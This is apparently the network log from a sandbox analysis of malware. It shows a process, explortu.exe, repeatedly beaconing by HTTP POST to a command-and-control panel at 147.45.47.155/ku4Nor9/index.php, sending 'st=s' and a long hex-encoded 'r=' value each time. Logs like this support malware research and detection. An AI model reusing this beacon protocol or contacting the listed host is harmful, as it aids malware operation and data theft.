Jun 27, 2024 07:37:53.344919920 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:54.009346008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:54.010111094 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:54.219017029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49740	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:54.329655886 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:55.005955935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:55.006844044 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:55.218322992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49741	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:55.333029032 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:56.027585030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:56.028445959 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:56.241425991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49742	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:56.359652042 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:57.028878927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:57.029911995 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:57.237020016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49743	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:57.362193108 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:58.036986113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:58.037945032 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:58.246766090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49744	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:58.359215975 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:59.046695948 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:59.047669888 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:59.258133888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49745	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:59.375085115 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:00.049429893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:00.050333977 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:00.258589983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49746	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:00.375364065 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:01.061573982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:01.062448978 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:01.278690100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49747	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:01.414077044 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:02.088444948 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:02.089361906 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:02.298567057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49748	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:02.596456051 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:03.278892994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:03.279759884 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:03.494937897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49750	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:03.609440088 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:04.287035942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:04.287925005 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:04.496392012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49751	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:04.610317945 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:05.411938906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:05.414365053 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:05.627078056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49752	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:05.736716032 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:06.412317038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:38:06.413119078 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
